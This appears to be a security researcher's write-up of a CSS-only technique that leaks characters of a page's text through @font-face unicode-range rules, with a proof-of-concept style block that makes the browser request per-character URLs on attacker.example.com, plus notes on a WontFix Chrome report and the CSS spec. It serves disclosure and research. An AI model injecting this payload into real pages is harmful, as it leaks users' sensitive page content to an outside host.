Using this technique, an attacker can read page's text partially by CSS only.
An attacker might use this technique in the following cases:
- Browser's XSS filter bypass (e.g. XSS Auditor does not block <style> injection)
- Only CSS injection is allowed in the target page
As far as I know, known CSS based attack can read attribute (See Attribute Reader: http://p42.us/css/) but can't read characters of text node. This vector can do it, not perfect though :)
So far, this vector can be used in Chrome and Firefox Nightly 44.
Let's go:
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
Let's see another example: http://vulnerabledoma.in/poc_unicode-range2.html
You can see external requests including page text (M,a,s,t,o,K,i,n,u,g,w) from DevTools. Like the following:
As you can see, we can't know duplicated characters. But in some cases like this PoC, I think that it can give an attacker enough information.
I reported this trick to Chrome Team but it has been marked WontFix on Issue 543078.
It seems that this behavior is spec'd. See EXAMPLE 13 of http://www.w3.org/TR/css3-fonts/#composite-fonts. Due to this behavior, users can save bandwidth. But as the side effect, an attacker got new attack vector.
